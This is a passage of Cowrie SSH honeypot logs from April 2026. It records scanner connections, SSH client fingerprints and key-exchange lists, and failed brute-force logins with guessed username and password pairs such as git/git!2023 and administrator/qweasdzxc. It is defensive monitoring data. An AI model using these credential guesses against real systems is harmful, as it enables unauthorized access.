88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:07.543185Z","src_ip":"159.203.92.129","session":"e055c27c6da5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"123456789","message":"login attempt [1234/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:07.789784Z","src_ip":"159.203.92.129","session":"e055c27c6da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:08.817195Z","src_ip":"159.203.92.129","session":"e055c27c6da5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":33582,"dst_ip":"10.17.0.5","dst_port":22,"session":"816a16fc1b8f","protocol":"ssh","message":"New connection: 27.119.7.6:33582 (10.17.0.5:22) [session: 816a16fc1b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:26.537062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:26.560976Z","src_ip":"27.119.7.6","session":"816a16fc1b8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:26.745968Z","src_ip":"27.119.7.6","session":"816a16fc1b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft123456","message":"login attempt [minecraft/minecraft123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:27.494574Z","src_ip":"27.119.7.6","session":"816a16fc1b8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:28.697800Z","src_ip":"27.119.7.6","session":"816a16fc1b8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46860,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd2930a1f3f8","protocol":"ssh","message":"New connection: 159.203.92.129:46860 (159.203.135.109:22) [session: cd2930a1f3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:49.066693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:49.070338Z","src_ip":"159.203.92.129","session":"cd2930a1f3f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:49.074253Z","src_ip":"159.203.92.129","session":"cd2930a1f3f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234567890","message":"login attempt [1234/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:49.086841Z","src_ip":"159.203.92.129","session":"cd2930a1f3f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:50.094865Z","src_ip":"159.203.92.129","session":"cd2930a1f3f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":41694,"dst_ip":"10.17.0.5","dst_port":22,"session":"70a081198494","protocol":"ssh","message":"New connection: 171.25.158.70:41694 (10.17.0.5:22) [session: 70a081198494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:53.799520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:53.803925Z","src_ip":"171.25.158.70","session":"70a081198494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:53.917293Z","src_ip":"171.25.158.70","session":"70a081198494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn123","message":"login attempt [openvpn/openvpn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:54.412883Z","src_ip":"171.25.158.70","session":"70a081198494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:30:55.539992Z","src_ip":"171.25.158.70","session":"70a081198494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56368,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e3e3892bde6","protocol":"ssh","message":"New connection: 159.203.92.129:56368 (159.203.135.109:22) [session: 2e3e3892bde6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:31:30.264793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:31:30.325838Z","src_ip":"159.203.92.129","session":"2e3e3892bde6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:31:30.330016Z","src_ip":"159.203.92.129","session":"2e3e3892bde6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"12345QWERT","message":"login attempt [1234/12345QWERT] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:31:30.794192Z","src_ip":"159.203.92.129","session":"2e3e3892bde6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:31:31.848674Z","src_ip":"159.203.92.129","session":"2e3e3892bde6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":39928,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f2c1d0e32b6","protocol":"ssh","message":"New connection: 171.25.158.70:39928 (10.17.0.5:22) [session: 2f2c1d0e32b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:31:42.014146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:31:42.018084Z","src_ip":"171.25.158.70","session":"2f2c1d0e32b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:31:42.122344Z","src_ip":"171.25.158.70","session":"2f2c1d0e32b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git!2023","message":"login attempt [git/git!2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:31:42.606220Z","src_ip":"171.25.158.70","session":"2f2c1d0e32b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:31:43.713564Z","src_ip":"171.25.158.70","session":"2f2c1d0e32b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57642,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ff37cd0ecf0","protocol":"ssh","message":"New connection: 159.203.92.129:57642 (159.203.135.109:22) [session: 4ff37cd0ecf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:04.812541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:05.090905Z","src_ip":"159.203.92.129","session":"4ff37cd0ecf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:05.095129Z","src_ip":"159.203.92.129","session":"4ff37cd0ecf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234@123","message":"login attempt [1234/1234@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:05.779962Z","src_ip":"159.203.92.129","session":"4ff37cd0ecf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:07.200365Z","src_ip":"159.203.92.129","session":"4ff37cd0ecf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":48490,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c3b90202683","protocol":"ssh","message":"New connection: 27.119.7.6:48490 (10.17.0.5:22) [session: 2c3b90202683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:25.950206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:25.954820Z","src_ip":"27.119.7.6","session":"2c3b90202683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:26.142668Z","src_ip":"27.119.7.6","session":"2c3b90202683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"qweasdzxc","message":"login attempt [administrator/qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:26.921755Z","src_ip":"27.119.7.6","session":"2c3b90202683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:28.112439Z","src_ip":"27.119.7.6","session":"2c3b90202683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35856,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d02fb47db70","protocol":"ssh","message":"New connection: 159.203.92.129:35856 (159.203.135.109:22) [session: 5d02fb47db70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:29.863379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:30.410875Z","src_ip":"159.203.92.129","session":"5d02fb47db70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1